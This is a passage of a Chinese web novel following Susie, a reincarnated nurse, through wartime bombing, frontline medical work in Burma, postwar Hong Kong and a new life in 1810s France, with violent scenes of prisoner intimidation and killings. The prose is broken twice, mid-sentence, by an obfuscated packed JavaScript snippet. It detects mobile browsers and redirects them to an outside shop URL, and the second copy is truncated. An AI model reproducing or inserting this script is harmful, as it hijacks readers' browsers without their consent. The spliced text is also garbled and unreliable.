一直到第二年的秋粮上市,金陵惨剧都快过去一年了,东部的全部搬迁到西南,锦城的步伐一点没变,甚至因为有家资的人口多了造成房价上涨。房东太太要求涨房租,苏茜二话不说给了。 医院里也来了一堆医生,书店里还上柜了一堆新到的,半新不旧的书。苏茜把自己没有的书也都买了,又是一车。她暂时没有将脚踏车骑来上班,偶然骑回去也说是借来的。 …… 一直到这个城市被炸了! 没有防空警报声,苏茜只是隐隐听到空中有不对劲的声响。但她在上班,一时没有认真分辨。但爆炸引起的声响和震动还是有感觉的。 人们包括轻症患者都跑出来问怎么回事。 苏茜也是一头雾水。不是就炸陪都吗?这个锦城为啥也倒霉了啊! 第二天的报纸全部是本城也像渝城一样被轰.炸的消息。社论认为轰.炸还会继续,还教了不少有用没用的保命知识。 苏茜皱眉,医院属于战略地点,即使一百年后照样炸,别说现在。 院长主任们连夜商量。而苏茜匆匆赶回去收拾房间,第二天大包小包拿出门,但实际都转到岛上去了。 为什么锦城会被炸呢? 她当初做错决定了吧! 但是退缩不是她的路子,何况现在退缩那就是一辈子的污点。面对飞机,她是没本事对抗的,只能逃命。 真是太可恶了! 她一边加快清理地下室的速度,一边忿忿地想,早知道自己就冲去敌占区,将快要放腐烂的子.弹全部打出去然后跑路!现在这种情况,敌人在天上飞,不论怎样都打不到啊!这又不是一战时的意国战机,能用冷武.器搞下来! 另外,即使她想去学开战斗机也没人同意。 气死了! 砰——轰——砰—— 地下室前后震了两次,挺结实,没塌。 苏茜与这间本来存放杂物的地下室工作着的另一名护士面面相觑。 “我们头顶上?” “我去看看。” 苏茜当仁不让地冲去地下室入口。那里一片狼藉,几乎整个被堵住了,碎屑一直飞到两米多的拐角堆了一地。一条电线也断了,要不是因为地下室的灯坏了、她们用的是油灯,这个时候真叫抓瞎,因为苏茜不能“凭空”变出来照明物。 “幸好我们刚才没在上面,不然可能被炸了。”苏茜无奈地退回来,从挎包里摸出来两个饼,这是早上买的备用粮。她现在每天都要提前准备一点吃的。而水倒是不缺,她们两个都是灌了带盖子的水杯下来干活的。“吃点东西,上面堵住了。我怀疑大楼受损。” “好的,谢谢你苏茜!”护士们一多半是华籍,虽然会英语,但平时对话往往华语为主,大家对只用洋名的苏茜有些不以为然。不过现在小护士是真心拥戴苏茜的决定。 吃完,一抹嘴,“我拿长铲,先挖挖看能不能出去。”虽然她其实并不担心。 长铲不到胳膊的长度,是园丁用的,是铁头,不会一碰就坏。 谢天谢地大楼是砖石而不是石头结构,没有大块岩石。所以苏茜只用了半个多小时,连挖带扒带踢地挖出来个通道,两个人得以从地下室脱身。 外面有尸块,不是医护,但根本分辨不出死者是谁。 年轻的小护士后怕得不行。“我们就差一点!差一点!”差点就成了血肉块! “回家的时候小心点。不行住宿舍。不过一般晚上不太会来轰.炸。”苏茜望着炸塌的大楼,想着,果然敌人不会放过医院这种地方。 医院里的人当然同样想法。除了之前个别的蠢货坚信有国际条约这种东西,其他人都认为两层以上的楼都会是目标,不论是哪国的。 “你们没事吧?”外科那边一名华籍医生跑过来。 “没事,地下室很结实。入口通道也没有堵死。但是我看到尸.体了。”苏茜差点划十字,但忍住了。 “哪里?!” “跟我来。”苏茜挥挥手让小护士先走,然后领着对方去她看着像是上半身的地方。 “我不认识他,衣服也是偏蓝色布料。”很粗糙,不是医院里医生的毛衣白大褂外披风衣或棉大衣的风格。 “可能是校工,我知道不少人会在这里的过道避风休息。”还会在一个废弃铁桶里烧木头取暖。“还有别的尸.体吗?” “没看见别的了。” “行。” 开始出现轰.炸伤亡后,苏茜一直在外科手术急救这边,工作时间超过十个小时,吃住都在医院。没有休假。 城里开始出现传染病。 “是霍乱。”显微镜下找了半天才找到的。 “细菌弹。”一名美籍医生神情悲凉。 “通知所有人,霍乱,做好隔离吧!”副院长一声令下。 “我们想组织医疗队伍去前线。”一名年轻医生站出来。 “好,你们自己去征集。工资照发。军医那边也有工资。”至于抚恤……有需要领抚恤的人再说。 “……” “……” 等苏茜知道消息的时候,几个年轻医生已经走了。因为前线很远,得跟着运兵车船,所以他们只要医生,男医生。 连捐款都没得捐。 不过好在她在医院的募捐箱里塞了些金元,算是……赞助抚恤金了。从战争开始到现在,她陆陆续续捐了大堆金元。 “止血!止血!快!” “抬到那边去!” “过来!都过来!” 每次轰.炸过后,医院外科急救就会忙乱上二十个小时,几天后隔离病房又会人满为患……直到下一次轰.炸。伤病的人数一直在增加,尸.体也一直在往外抬。空气里那股肢体血肉焚烧的味道挥之不去。 “都打了这么久了啊!我弟弟去年来信说不知道国会将支持哪一方。”护士长年纪不是很大,但原本旺盛的精力已经被折磨得奄奄一息。 “我们这边吧,但不是现在。钱还没有赚够呢。”苏茜抬头望天,这个时候欧洲已经“不得不”宣战了吧。真的“大”战开始。然后就是等珍珠港了,如果还会发生的话。 “你确定?”护士长也说不清为什么自己跟这名华籍女护士关系如此好,自从另一位资深美籍女护士回国后,对方是唯一能与自己合拍的人了,比那些拿了证书就来华工作的普通护士聊天的时候更愉快,而且语言和思维总能让人忘记对方是华籍。 “确定。大家都要亚洲的橡胶和石油,美国和东洋方式不同,前者是商业,后者是军事,所以最后总要用武力来决定谁更有话语权。”不能否认,美国不参战,这片土地上发生的屠.杀就将继续。 “……你分析得比报纸上简单深刻得多!” “报纸都是有倾向的,我记得不少还是偏向纳.粹的。” “对极了!他们有大笔投资,他们只想到钱!”护士长对前段时间差点被炸死而耿耿于怀。 “希望太平洋早点,嗯,燃烧起来。”可能就是从这个时候起,平民开始反精英和反智了吧?苏茜不负责任地胡乱揣测着自己上上辈子已经习以为常的怪现象,然后等着美国加入战局。 不过先等到的是法国没怎么打就投降的消息。 “巴黎?!” “天哪!法国军队怎么回事!” 锦城相对战前的平城闭塞了无数倍,而且外文报纸基本运不进来,只有一些非常重大的消息才可能通过电报传进来。 所以外籍医护各个目瞪口呆。曾经与德军你来我往打得还算可以的法军上哪去了?拿破仑成绝响了是吧! “年轻的德国士兵会有秩序地排队买香水送给女朋友的吧。”苏茜耸耸肩,谁让她就记得这种历史八卦照片,而且那店也是名牌店铺呢。 “女朋友?”这是啥地狱笑话。 “法籍或德籍女朋友?”能送香水的,起码也是情人不是。 “……” “……” 医院里目前没有法籍医护,所以大家谈论起来不会客气。尤其是一些华籍士兵抡起大刀也要血战到底的勇气,与英军一走就不打而降的法军相比,让其他国家的医护感觉还是这里好点。 “伦敦也在被轰.炸。”一位英籍医生叹息着。本地报纸基本不会刊登其他国家的情况,但他还是打听到很多事情。“我的父亲,姑母,还有很多亲戚在那里。希望他们没事。” 旁边人拍拍他的肩膀。轰.炸是什么情景大家都知道,真心不知道该说什么。 突然,防空警报响起。 “快准备!” 医护们全部跑开。 先保住自己,然后保护伤病,再等轰.炸过后准备拼命工作! 这一次,苏茜的住处成了废墟。 好在房东家和一楼店铺都没人死,只有一老一少受轻伤,还是苏茜亲自处理了伤口然后打发他们离开的。 “我们医院也被炸了两次。”苏茜指指远处塌了的楼。“这里并不安全。” 家属们没有不理解为什么无法住院。哪怕去山里老家,也难保突然头顶上就丢下一颗细菌弹。 锦城被投的应该主要是霍乱。也许有其他更恶毒的,但受感染的人应该都死了。反正医院里似乎没有炭疽、鼠疫这种更糟糕的疫病——也或许有,不过在大面积传染别人前就死在医院外了。 在苏德真的打起来后—— “之前隔三岔五就来炸。这段时间好像少一些了?” “难道东洋要攻苏国?” 普通医护消息闭塞,但是有一则消息说东洋与美交恶,更具体的情况及其影响就不知道了。报上的评论苏茜懒得看,都是扯淡。这些蠢货还在指望英美“主持公道”能让东洋退兵。 夜间拥挤的宿舍,大家摸黑洗漱不敢开灯,当然也没有电了,男女学生们将生存所需压到最小,护士和医生们也是挤在原来只分配给高级医师的十几栋房子里。这些房子只被炸毁了两座,算是意外之喜。 而苏茜为了自己方便,选择睡在楼梯下的储物间,床则是几个木箱拼接起来,箱子里是明面上不算很多的行李——“据说”大部分的书籍和其他东西都炸掉了——上面铺着自己之前带去员工宿舍的被褥。员工宿舍现在已经改为病房。 吃饱穿暖的同时,能够上厕所擦洗澡刷牙用水已经算是很体面的生活。 苏茜在去厕所的拐角落里回到岛上,开一个水果罐头和一个牛奶罐头,同时用自家的干净水煮一小锅药茶,找海鲜吃是来不及也没那个力气,不过用温热的水将自己连头发一起泡进去洗洗那股血腥气和汗臭还是可以的。 回储物间,路过走廊的时候刚毕业的几个医生还在谈论时政。嗯,居然还抽烟?真是的! “……武.器和药品还是得自己产出。” “你要加入中药制备组?” “是的。” “你难道是想转中医?” “没有西药,西医什么都做不了。即使是手术,麻醉怎么办?术后怎么办?现在连清洗伤口都要找烈酒了……” 苏茜也想叹息。要不是这次是霍乱也没啥药就是以护理和止泻为主,他们医院抬出去的尸.体会更多。 但无论如何,这几年医院里的医护在锦城名声大噪。 * * * “大消息!大消息!美英向东洋宣战了!” “英国海军也很强的,可以和美.军一起打。” “难得的好消息啊!” “难怪都两个月没有轰.炸了。” 苏茜同样记得那段历史八卦,嗯,美.军没让英军参与,大家还是各做各的比较好,毕竟蒙哥马利只有一个。一方面是后者在亚洲战场上被人数装备都不及自己的东洋打得落花流水特别丢脸,另一方面前者不想让后者维持在亚洲的殖民地位——苏茜觉得前一个理由更具有实操意义。比如法籍同袍还是别参合战争与坦克了,搞搞烹饪艺术还差不多……似乎真正能在正面战场上打赢法西斯的也就是两个超级大国? 想想就是件令人绝望的事!她即使突然变成机械设计天才弄出来□□,也架不住没有合格钢厂和技术工人啊!何况,指望这些用军用运输工具运纸钞倒卖金条的将军们?算了!她现在也没心思折腾小黄鱼什么的,因为没时间没力气花。不对,现在还没有各地金条价格差距巨大的时期吧?她再拉头发也想不起时间细节,还是睡吧! 看什么时候能造些房子出来自己能搬出去住。 …… 房子还是挺快的。平民目前还是自己搭窝棚,就怕突然又来一场轰.炸。电厂机场医院等的优先级高于学校,在确定东洋自顾不暇后,很多简易平房在医院附近搭起来。苏茜能租到的房子也是简易间平房,屋顶就是一面斜放的铁皮,没有瓦片屋檐,墙壁也是竹子砖头混搭。几排小房子,一排八间,租金其实也就是铁皮砖头和工人几顿饭的花费,目测能用个三四年。都是护士、学生和护工们住的。 苏茜级别还算高,但没有高到医生的程度,所以分不到像样的住处,附近又没有完好的房子,因此也住这样的铁皮屋。最重要的是,她终于可以回岛上吃饭睡觉了!她种的那些菜大都成为只能做绿肥的野草,似乎就只有荠菜、芹菜等几样种子掉落地面自己长出一小片的还能吃,就是口感与菜农卖的差距颇大。 所以她隔几天就去买郊县农人辛苦推进城换点钱物的菜。这一带的工商业毁得差不多了,但农业受的影响不算严重,尤其是蔬菜不受管制也不属于家家都要存下来的口粮。 在不需要每天平均工作十六七个小时后,苏茜开始恢复“正常”饮食,之前发黄发黑的脸色也好了不少。 对了,她现在做餐点的手艺大有长进,还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006856|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用大米做蛋糕!可惜不能与人分享。 这一年的夏天,锦城不算特别热。 几乎家家都在祭祀,不论是祖先还是枉死的亲人。 苏茜一时没反应过来,一问才知道是农历七月半,开鬼门的日子。 但是开鬼门与去寺庙烧香有关吗? 还有,别在弥撒的时候做奇奇怪怪的祷告啊,会不灵的! 对这种群众多神崇拜,华籍人士只能摇摇头一笑置之,外籍人士虽然不太懂但不妨碍他们也一起祈祷别再有可怕的伤亡——没有人愿意回想兼职焚.尸工人时的情景。 “我去支援。”会议的时候,院长问护士们有没有愿意去战地医院的,苏茜第二个举手报名。“年轻的姑娘去战场,万一有什么,妈妈还要不要活了。” 之前的医护队伍,医生死亡一人,重伤四人,而护士直接死了三人,重伤残疾五人,还有几个因为“各种原因”退出。前线严重缺医护,但到底打得如何?不知道! 因为他们还没开拔,地方就丢了,正规军撤了,地方军却打得连将军都阵亡了……苏茜气得脑袋阵阵发晕,仿佛看到了宋朝灭亡的再现。 “这都是什么玩意!饿着肚子的人都在认真打仗,而这帮混账除了捞钱还会什么!” 对于败军之将,连大报都开了嘲讽模式,小报更是破口大骂。 “行了,比法军好点吧。打仗前还在找姑娘开舞会,投降后继续开舞会。” “我们有好到哪里吗?!”同事也是气得眼前发黑,她刚捐了款给豫省的饥荒和战争,结果告诉她这些可能都成为某些人的私财?! “没投降。”苏茜不是很喜欢用我们、我国这样的词,而且有时会显得犀利刻薄。讲得不好听,萨利纳斯维多利亚港对她来说还更像家乡一点,虽然她一次也没有去过,但是达亚娜老人没事就跟她讲述过去的故事,有好的有坏的,冲淡了她早前对“老家”的感情。加上这辈子“家乡”乃至半个村子的人对她那种满满的恶意,在这个身体埋下严重的排斥心理,令她时不时就要跟自己的戾气作斗争。 “哦,对了,你这次没有捐款吧?” “我宁愿把工资捐给来医院看病的穷人。”何况现在已经出现恶性通货膨胀的征兆了。 不过第三次开拔,苏茜真的走了。 走得很突然,早上通知,下午十几名医护和一批中草药、西药、手术和医疗器械就上路。 苏茜算是这支队伍里最“年长”的,看上去身体也是最结实。卡车一路颠簸到滇省居然没病甚至没晕车,还能扛着二十斤的药品器械徒步翻山。士兵们都对这位“大姐”刮目相看。 最让士兵们头晕的是,苏大姐不仅文能划开肚子、武能机木仓打靶,还能用好几种口音将外国士兵骂得头都抬不起来,华籍美籍英籍印籍澳籍都骂。 “亚利桑那的兔子都比你聪明!滚回床板上去!”苏茜觉得在翻过尸骨丛林后自己的脾气越来越差。双方,不,三四方指挥官的瞎指挥下,各方大概饿死、病死、累死了能有十几万士兵。都是年轻人甚至少年人啊!其中一个被她一刀割喉的东洋士兵肯定不超过二十,本来应该带着婴儿肥的脸蛋瘦得脱了形,眼神涣散无光其实还发着烧——杀了他也是帮他解脱。所以她现在最见不得的就是找死的年轻人,不管是哪一国的。 边上的华籍年轻士兵正在偷笑,被她眯着眼盯了三秒钟,吓得立刻跑了。这位护士大姐还拿消毒过的人骨教过他们如何徒手错位颈椎让敌人闭嘴乃至毙命的手法,真是比丛林毒蛇还恐怖的生物!所有见过和听过那一幕的士兵,各个国家的,都对她敬畏得不得了。 “护士苏茜,你要的纸。” “谢谢。” 军中的翻译官都没有她的外语能力强,何况她还懂一点日文。真的一点,人名地名读音之类的是真不行,但不少字词意思还是懂的。 “知道你们的731部队干的都是些什么事吗?”苏茜恐怖地微笑着,用针头吸了少量液体,皮下注射,“你可以慢慢体验全身溃烂但意识清醒,最后被活活做成标本的快乐!相信你一定会为了自己成为我的活体实验品而感到高兴!” 被打得鼻青脸肿的日籍俘虏感到一阵刺痛,吓得瞪大了本来就因为长时间饥饿而变大的眼睛。“我只知道一点,一点,我都会说的,不要把我做成标本!” 苏茜微笑着摸出小号手术刀,在对方的下颚处轻轻划过,没有破皮,“别让我失望,不然我会慢慢将你脸上的皮剥下来。” 她摆手让审讯的美籍军官跟翻译接受。 出来后,她满脸叹息。那也是个可怜的年轻人,最多十八九,关西农村人,一腔热忱地上了战场成为炮灰。这场战争中死去的大部分是被煽动甚至被强迫的无辜民众,而真正发动战争的该死的家伙很多却能活到战后若干年。 “混蛋的世界!”她用西语咒骂着。 所有的食品在过期前全部吃掉了,种的菜死的死野的野都没法吃,现在她除了需要费力赶海啥额外吃的也没有,甚至青霉素都没原料制作,只能眼睁睁看着别人饿死没办法!因为她的海岛能让自己不死就已经很给力了。 ……总算,现在部队有驻地,有补给——哦,该死的午餐肉罐头——好歹活下来几万条性命。 医生护士也死去好几位,还有一位失踪了、应该是凶多吉少。 年中的时候,队伍开拔,苏茜和几个医护则坐运输机去印地。 这运输机吧,能冻死个人。地面上永远是夏天,天上一床毯子根本不能扛。苏茜和另一名护士挤在一起,裹着是她偷换的羊毛毯,那护士的薄毯则给两个男医生用。 谢天谢地的是,在大家快要死于巨大的噪音和冰冷时,飞机开始剧烈颤动,慢慢下降。 “天啊!我以为我要冻死了。” 还算年轻的医护们脸色从青白到潮红。天气热得人瞬间忘记刚才的寒冷。 苏茜默不作声地打包扛起毯子行李,带头与当地军人交接,去战地医院报道。 当地人的英文口音也是够呛,好在苏茜能用伦敦腔糊弄所有人。等她能一个人掐晕伤员、止血取碎片、缝合包扎,判定是否需要打盘尼西林针之后,名声更响亮。 在药物上,不得不否认盟军这里更有优势。 而东洋的伤亡也开始到了国内承受不了的程度,少年和中老年都上阵了。华籍……除了少数几次胜仗,其他都是一触即溃、全靠杂牌军,让他们现在这支军队的热血青少年也有些牺牲得毫无意义。 等两年后,苏茜随军回撤。 她是最后一批走的,当地医院简直不想放人。 这一撤就是撤回锦城。 三年战场,只回来了一半还少一个人。 苏茜将补发的工资都分给了阵亡失踪同事的家属。眼泪什么的是没有的,她不哭、不说,只做。不过这次她在医生家属小楼里有了一间二楼带阳台的房间作为奖励。 真,好,不是吗?她终于找回大半平城时的待遇,就是房间面积小了点。 吃着甜美的西瓜,漠然看了眼滇省的战况报道。经过白骨小道,现在她已经对胜负彻底没了情绪波动。需要强调的是,这西瓜一个要一块钱,纸币,如果是一个银币私下里可以买一筐让人送上门。所以她捐出去的工资也就够一家子过一个夏天的。 煮小海鲜,海带排骨汤,配小半个西瓜。吃到撑还不会拉肚子,应该是辛香调料的功劳。 岛上又下雨。她的衣服都晾在阳台上,锦城这几天不下雨。 上辈子加固了好几层的花园木屋清爽温和,不会躁热地无法入睡,还得盖被套睡觉。热带战地医院里,大家同吃同住,她压根找不到时间睡自家的凉快小岛,要不是靠调息真的很难维持基本的健康。回来的感觉真好! 她躺在精心准备的简陋寝具上很快就睡着了。 19.当年的护士(六) 东洋投降后不久,苏茜就“退休”了。 她的年纪和健康情况完全可以再做个十年。不过—— “我太累了,不是身体的累,而是心理的。战争结束,我就想去个平静的地方养老休养。” “哦,护士苏茜,你这些年……” 苏茜很有耐心地与副院长聊了二十分钟,再与护士长拥抱了一会儿。 “苏茜亲爱的,别告诉我你想去平城。” “不,那里冬天太冷而且没有蔬菜水果吃。我打算去港城,也许过几年去法国或者美国。我一直不满美国不允许女性自己开银行账户。” “哦!很遗憾那是真的。”苏茜那句“有名”的亚利桑那的兔子让护士长非常清楚这位华籍女护士对母国很了解。说实话,能在荒漠里存活的兔子确实可能挺聪明的,呃,如果那里有兔子的话。她真没法说自家对女性有多友善,何况还有那个著名的排华法案。至于港城?那里算是华人地盘,不存在排华一说,似乎挺适合苏茜的。 护士长完全不知道苏茜想避开的是内.战。 她先是去采购了些能够存放至少一年的土特产,然后买了好不容易恢复通航的去海城的“长途”船票,再与同事们道别后退掉住处,提着两个箱子走人。 船舱是很小的二等双人间,她买了两张票占下一间。顺流而下似乎时间能短一点,倒是海城到港城的时间更短。 两天就到了,比等待开船的时间还短,显得头等舱的价格有点亏。 眼下的港城不及海城,不管是货物吞吐量还是城市内外国人控制区域的繁华程度,哪怕是农村地区也差很多。 但苏茜只想有个安稳的几十年再平静地去世,一点不想在晚年又起折腾。港城嘛,最多帮派问题,干掉不就得了。 不过等她下船后坐上人力车,让车夫去个商业街附近的干净酒店时突然梗住了。等等,自己想买房还是租房来着? 光着脚的车夫很可能是渔民转行打工的,衣服打了好多补丁但无异味,车子很旧了但擦拭得很干净。他走了一个多小时,转了几条满是骑楼的大街,走过一个行驶公交车的路口,就是目标酒店。 “你收什么钱?”苏茜的广东话不太好,不过对方的似乎也不怎么样。 “都收。港币,法.币,铜币。” 苏茜给了两块银币,让他帮忙搬箱子进酒店大堂。对方高兴得不得了,这银币从来不贬值,跟日据时代东洋发行的废纸和对面已经开始不对劲的法.币完全不一样,不论是流通还是卖掉,都抵得上他两天的收入了。 酒店能在战后立刻开起来而且还如此生意兴隆,说明背后实力很强。虽然建筑有些不伦不类,但服务看起来带着些英式的范儿。 苏茜直接要求住半个月,让开张以来生意很普通的经理非常高兴。尤其是这位客人的口音很不错,就是可能很大方的那种。 事实上苏茜给跑前跑后指点店铺银行中介机构的服务生一美刀的小费。然后跑了五天才拍板买下三层联排中的一栋,一楼铺面是带租约的饭铺,二层和三层是她的。这条街和这一排楼,苏茜都没见过,也不知道这排有些老旧不过还是有下水道的楼什么时候拆,但不妨碍她先买了等升值再换房。 前任房主极为喜欢她付账的金条,她也很欣赏对方将所有家具和一台收音机都留给她并且打扫得干干净净。双方甚至都赠送了对方礼物,这一点让中介都觉得不可思议。最有趣的是,卖方“送”的是一套还算精致但并不昂贵的瓷茶具、属于扔了可惜带上又增加移民行李的那种,买方“赠”的是一瓶战前出产的法国葡萄酒、不是很有名但现在买不到的那种。酒还是平城时的囤货,当时要好几块银币。茶具倒是苏茜很欢迎的,因为虽然来之前在锦城和海城买了一堆食物、包括是能喝两年的各类茶叶,但茶具只有几只杯子和一个什么都煮的大陶壶。 现在的事情就是找个裁缝铺做衣服和床品了。嗯,窗帘是现成的,洗洗就行。 啊,煤气灶!洗衣机!空调!冰箱!烤炉!虽然没有微波炉,而且洗衣机也很“原始”,但一点不影响苏茜对现代化生活的渴望。 哪怕空调,不,是冷气机噪音大还不能遥控调节,苏茜还是在一楼和二楼都装了——整栋楼的电费都由一楼租户付、付到五年后租约到期,而对方感激涕零,因为即使夏季全天开的电费也不及冷气机昂贵。这个季节的港城已经不是很炎热了,但中午吃个饭出一身汗也是很常见的事。苏茜没有考虑到安装的季节问题,只是很高兴居然比自己想象的便宜,原来只因眼下是淡季。 还有,武.器也属于乱糟糟没人管,值得补货,而且比自己在平城时的价格便宜不少。 “女士,你可以试试。这些子.弹是送的。”地下店铺的老板道。这店距离市区远,而且在半地下,其实就是个半公开的射.击俱乐部。 “谢谢!”苏茜戴上手套,夸张地左手单手和右手单手各开两木仓,最后三发子.弹则是双手持。三十米平均超过八环。 “哇!你的木仓法很好!” “差强人意,”苏茜摇头,比上上辈子可差远了,但这个时代这个地点足够用。“上战场还是不太行。” “难道你上过战场?”震惊死了。 “军医。其他医术不行,天天挖子.弹,缝肚子,烧截肢,搬尸.体。可惜,只杀过两个敌人。”她利索地检查转轮和子.弹,然后塞进手袋。 “啊,难怪你会木仓。”缝肚子什么的,哪怕他们是做这行生意的也觉吓人。 苏茜看了明显是出来混、只敢对比自己弱小的人挥拳头的老板一眼,“那时我手上没有热武,只有刀子。一刀一个。” 老板张了张嘴,合上。救过人也杀过人的女人……就当结个善缘吧。 苏茜是骑脚踏车走的,这车终于能正大光明拿出来用了。骑了一个多小时才回到新家——即使十几年后肯定会卖掉,可现在就是她家。从楼下饭铺买了份煲饭当晚餐,上楼喝一壶绿茶。绿茶最好不要放超过一年,所以她得先喝掉。 隔壁的隔壁是画室,卖中西文具、书画用品、各式装饰画还收学生,不过教的是素描和西式油画。这是个很好的打发时间的兴趣爱好。 港城这里出产还行,居然还有水稻,当然多数依旧需要从陆地运来。苏茜直接买了一年份的新米,然后继续将陈粮送去救济站——还是教会的,可惜不是她一开始加入的那个教派,所以还是算了,她又不是真正的修女。 用电用气都不错,结果让人无语的是用水。 “苏茜女士,你买的水到了。” “谢谢!” 给费用和小费,苏茜将两桶水拎进洗衣间。难怪要有个专门的洗衣间呢,得放水桶才能用洗衣机和拖把池。 苏茜没用女佣,不管是住家的还是钟点工。港城的冬季并不冷,可也没有到单衣就能打发的地步。因此她白天基本都在三楼的画室兼晾衣间。由于完全不想在没有阳台的地方伸出去几根竹竿晾衣服,让街道上来来往往的人从底下走过,苏茜在三楼找一处可以晒到几个小时太阳的角落摆上定做的晾晒架子,再把窗户改为大块玻璃加防盗铁窗。 然后她还买到了医用和家用消毒液。还有,青霉素降价了。 “现在的生活真是方便!又便宜又便捷!”一名同样来学画的女士感慨着。 “是啊!没有战争,有电和电器,医院。”苏茜同样感慨,这里除了物价贵和自家楼上没有自来水,其他都很不错,尤其是烟火气息的街区让人找到活着的感觉。白骨小道至今还会让她心悸,身上不带武.器是绝对不出门的,走路也是要分一部分注意力在周围和天空,就怕突然来一阵扫射或炸.弹。虽然很遗憾内地还在打,但她一点不想再看到大量死亡和残肢,即使是动物的也不想看到,甚至在回到锦城后有快半年的时间她吃不下荤菜。好在目前已经有所缓解,做好的肉类堡饭炒饭之类以及自家岛上的水产品都没问题了。 苏茜的素描构图学了足有半年。期间花了钱装上自来水管道。 接着才是颜料油彩。她学的是油画,除了比例和解剖,其他都是从零开始。 当有地产商来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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作为习惯了战乱的人士,苏茜今年已经用掉十发子.弹,糟糕情况可见一斑。 “不管怎么样,比缅国丛林安全多了。我不需要靠白骨指路,也不会活着被野兽吃掉。”苏茜用十块钱打发掉查案的同时还索要保护费的警员,跟来探听情况的邻居“闲聊”。以为她是个独居无靠的老太太?看看她毫无皱纹的脸,问问她手里的木仓! “我只看见门外有人跑过去,然后‘砰’的一声,这个烂仔就脑袋开花了。肯定是他们的仇家干的。”饭铺老板指手画脚地向目瞪口呆的警员描述当时的情景。 实际上是收保护费的一个家伙敲破了隔壁桌的汤盆引起尖叫混乱时,被苏茜给爆了头。 她的手法越发神出鬼没了!苏茜得意了一把,就是可惜没有战利品。 上次她处理盗匪的时候直接收了一袋子纸钞,够她在这条街上吃一年。为民除害的同时发笔横财,真是太棒了。 恶劣的治安和抗议的工人没有挡住苏茜抄底的乐趣。她在价格最低的时候又买了几套不算不显眼的房产。 在内地开始展现实力和影响力之后,港城慢慢平和下来,从治安到房价也在慢慢回温。 苏茜保持几年卖出一套的节奏,差价总比生活费多。于是她愉快地买了开金匠铺子的工具,开始折腾堆在那里生灰的金元。 放金元的地方没有阵法,真的就是在吃土生灰。苏茜开始重新整理山洞和收藏,实在无法使用或无法看清楚字的才扔下垃圾海滩。她还买了大量玻璃和陶瓷之类的仪器设备,甚至一条不锈钢小船。 等最后一套房子卖掉后,她年纪确实大了。 “我当年就住在这一带,在那间医院里工作。”她微笑着对平城里刚入行的导游道。这里的服务业刚兴起不久,她能用低得令人吃惊的价格雇佣到一名私人导游。 导游很负责的带着她走了平城、海城和锦城,最后去滇省遗址走了一圈,才回港城。 “我一个人就好。谢谢。”她微笑着拒绝了工作人员的推销,走上自己新买的小游艇。 20.国王亦凡人(一) “……那个贱.人看到我,还向我求救!哈哈哈……她脖子里流出来的血还有头发被我卖了个好价钱!哈哈哈……” 干瘪的妇人其实还不到五十,但看上去六十多了,精神状态不正常的同时,身体素质居然还挺棒,难以想象她能够一路从巴黎走到哥德小镇还要上山,然后还有力气捂死一个二十八岁的男子,即使后者瘦小虚弱。 “可是,你的父亲和祖父死得再惨,也不能掩饰你杀死了我的丈夫的罪行……”苏茜冷冷地用标准发音答复。伸出手。 妇人大吃一惊,正要教训这个懦弱的外孙女,但寰椎和枢椎的严重错位让她瞪大了眼睛。然后就定格在那个表情。 “放心,我会在地狱里对你进行审判的。”温暖轻柔的嗓音仿佛带着怜悯、慈爱和诱人忏悔的力量。一双纤细小巧的手拨下妇人的眼皮,盖住那双无神的棕色眼睛,顺便吐槽自己“觉醒”前糟糕的口音和语法知识。 妇人身上脏臭的裙子藏了不少东西。因为是连夜处理,点了上辈子收藏的三支蜡烛,苏茜花了半晚才完成处理遗“物”的工作,然后将害死好几个人的老太太踢下垃圾海滩。 这个时代,怎么说呢?! 拿破仑被囚禁了。 路易王想搞君主立宪结果没搞成。 苏茜在岛上找资料找了一个多小时,确定是火山喷发影响全球气候的年份。似乎是两年没有收成……真是,好得要命的时代啊! 第二天上午,她满脸菜色、眼底青黑地参加了简单的贫民葬礼。 恭喜苏茜-罗西诺,成为了一名十六岁的寡妇,还继承了一小块没法种葡萄的坡地,这块地还是羊群的迁徙路线。外祖母谋杀了自己的外孙女婿就是为了这块只能种点牧草的二十多阿庞的地,还是没有耕牛的那种——值得庆幸的是那妇人偷摸杀人后还躲了两天,没人知道她来过,为苏茜的后续处理省了不少力气。 老村长柯纳尔是个老好人,他帮忙办了身份和继承等不少手续,还去了一趟镇上,最后只收五个旧苏硬币的报酬,而苏茜硬塞给他一个银法郎——还是“遗产”中的货币,她本人的收藏品里只有金路易。 在苏茜接受的记忆里,她连镇上都只去过两次。其中最近的一次就是被去年就过世的母亲和刚刚被干掉的外祖母嫁人。至于父亲,村里人说是死在战场上了,也有说是死在断头台了。但时间年代怎么算都有些奇怪,前者应该是皇帝陛下的战争?似乎太晚了。而后者肯定是她出生前,又太早了。 反正,总之,母亲和外祖母将她嫁给同村一个其实是很穷的耕农是事实,几个月后就她一个人活下来也是事实。 裹着破毛毡回到石屋里。这两间石头砌成的屋子、地下室连同外面半荒芜连棵树都没有的坡地是她的全部财产。她现在大概是全村最穷的人家了,家里只攒下一百多个尼尔和十几个生丁——让人无比头大的算术,还是各省、大城市和码头都不同的算术。 现在还要加上昨晚弄到的“战利品”:五个金路易,三个银埃居,一个银法郎,一把合金生丁,另外还有一个像是家族徽章一样的铜制品——也许这位女士不是个普通平民,亦或许是其偷来的。 回到岛上,温度高了起码五摄氏度。可靠的小岛,虽然没法存放食物,但是有锯子,有一些惨兮兮的树,还有存下的煤。 煤能烧。木头即使来不及烘干也能烧火,就是烟太大。 